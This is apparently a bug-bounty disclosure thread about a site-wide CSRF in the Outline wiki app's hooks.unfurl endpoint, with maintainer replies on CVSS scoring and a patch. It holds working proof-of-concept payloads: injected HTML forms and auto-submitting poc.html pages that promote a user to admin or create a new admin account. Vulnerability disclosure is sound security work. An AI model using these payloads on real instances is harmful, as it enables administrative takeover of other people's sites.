Site-wide CSRF (Bypass Strict Cookie) leave to Website Takeover in outline/outline
Reported on
Jan 10th 2023
I reported this vulnerability once a long time ago, but you still haven't fixed it. I report back to remind you need to fix it.
Description
At the api/hooks.unfurl
, when sending a post request containing a param challenge
, the server will return the value of that param, which inadvertently leave to HTML Injection vulnerability.
router.post("hooks.unfurl", async (ctx: APIContext) => {
const { challenge, token, event } = ctx.request.body;
if (challenge) {
return (ctx.body = ctx.request.body.challenge);
}
From there we can create html form to csrf attack. This helped us bypass the strict cookie configuration.
Proof of Concept
1.Payload to render Promote form
challenge=<form+action%3d"https%3a//j0ok34n.xyz/api/users.promote"+method%3d"POST"><input+type%3d"hidden"+name%3d"id"+value%3d"87a06b4a%26%2345%3ba719%26%2345%3b4344%26%2345%3b86b3%26%2345%3be7dbc6217e9b"+/><input+type%3d"submit"+value%3d"Click+me!"+/></form>
- Create
poc.html
to auto request toapi/hooks.unfurl
with payload:
<form action="https://j0ok34n.xyz/api/hooks.unfurl" method="POST">
<input type="hidden" name="challenge"
value="<form action="https://j0ok34n.xyz/api/users.promote" method="POST"><input type="hidden" name="id" value="87a06b4a&#45;a719&#45;4344&#45;86b3&#45;e7dbc6217e9b" /><input type="submit" value="Click me!" /></form>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
- Open file
poc.html
in browser have admin sesion, Click toClick me
, user with previously set id will be promote to admin.
Youtube PoC: https://youtu.be/lQdJvZ73690
Impact
Site wide CSRF, Promote to Admin, Takeover Website...
Occurrences
Solution:
- Remove auth with the accesstoken cookie.
- escapeHTML
This is a very high effort attack that would let you potentially trick an admin on your own team into promoting your user, correct?
Yep, when Admin clicks Click me!
, attacker's account will be promoted to admin role
There are many other endpoints affected, but promoting to admin role is probably the biggest impact of this vulnerability.
I score it as medium – https://cvss.js.org/#CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N
Existing privileges are required and the impact is not equivalent to leaking private keys or passwords so does not deserve to be high. You have to already have an account on the same team, aka trusted team member!
ATTACK COMPLEXITY
is high
, I agree with you that, the attacker will have to trick others into following the action of clicking Click me!
, moreover the victim must have an admin role in Team.
But I think PRIVILEGES REQUIRED
should be none
, because the attacker doesn't need to be a member of the team, he just needs to trick the admin into clicking (Fake event to receive reward, hot video link...)
As for CONFIDENTIALITY
should be Hight
, after upgrading to admin, the attacker has full rights to the team, so all the information in Team is takeover, now the admin password is no longer important.
In addition, AVAILABILITY
can also be left as Low
, because an attacker can disable or delete a legitimate user's account, which affects AVAILABILITY
.
https://cvss.js.org/#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L
They need to have an existing account so priviledges are required.
That's right, I forgot about that ^^ So is there anything else you want to change?
https://cvss.js.org/#CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L
I recommend that the solution is to remove the authentication option by cookie AccessToken. I currently see it underused and rather redundantly.
You can put the accesstoken in Local Storage
, and then it just acts as storage.
Unfortunately the cookie seems to be required to allow for authentication for images where a GET request is made directly from an <img src> tag.
You should find that this fixes the issue at hand: https://github.com/outline/outline/commit/785b9888dd4cfc4a61dad902f4dd2c2a97f23653
Yes, the vulnerability has been patched. I can't do it again.
After careful consideration, I set the severity to medium (5.5).
Hi, I noticed that csrf vuln can also do invite a new user with the role of admin.
So, attacker doesn't need an existing account. And severity will be High
again.
https://cvss.js.org/#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L
Earlier, you said: "They need to have an existing account so priviledges are required." But I discovered this vulnerability can create a new admin account, without the need for an existing one. So Privileged required
have to be None
, and Severity
will be up to High
.
Thanks!
Payload to Create Admin User
form:
?challenge=<form+action%3d"/api/users.invite"+method%3d"POST"><input+type%3d"hidden"+name%3d"invites%26%2391%3b1%26%2393%3b%26%2391%3bemail%26%2393%3b"+value%3d"test2%26%2364%3boutline%26%2346%3blocal"+/><input+type%3d"hidden"+name%3d"invites%26%2391%3b1%26%2393%3b%26%2391%3bname%26%2393%3b"+value%3d"test%26%2364%3b"+/><input+type%3d"hidden"+name%3d"invites%26%2391%3b1%26%2393%3b%26%2391%3brole%26%2393%3b"+value%3d"admin"+/><input+type%3d"submit"+value%3d"Click+me"+/></form>
And poc.html auto request to /api/hooks.unfurl
<form action="https://<domain>/api/hooks.unfurl" method="POST">
<input type="hidden" name="challenge"
value="<form action="/api/users.invite" method="POST"><input type="hidden" name="invites&#91;1&#93;&#91;email&#93;" value="test2&#64;outline&#46;local" /><input type="hidden" name="invites&#91;1&#93;&#91;name&#93;" value="test&#64;" /><input type="hidden" name="invites&#91;1&#93;&#91;role&#93;" value="admin" /><input type="submit" value="Click me" /></form>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
Result:
And if Admin click to Click Me
, a new admin account will be created.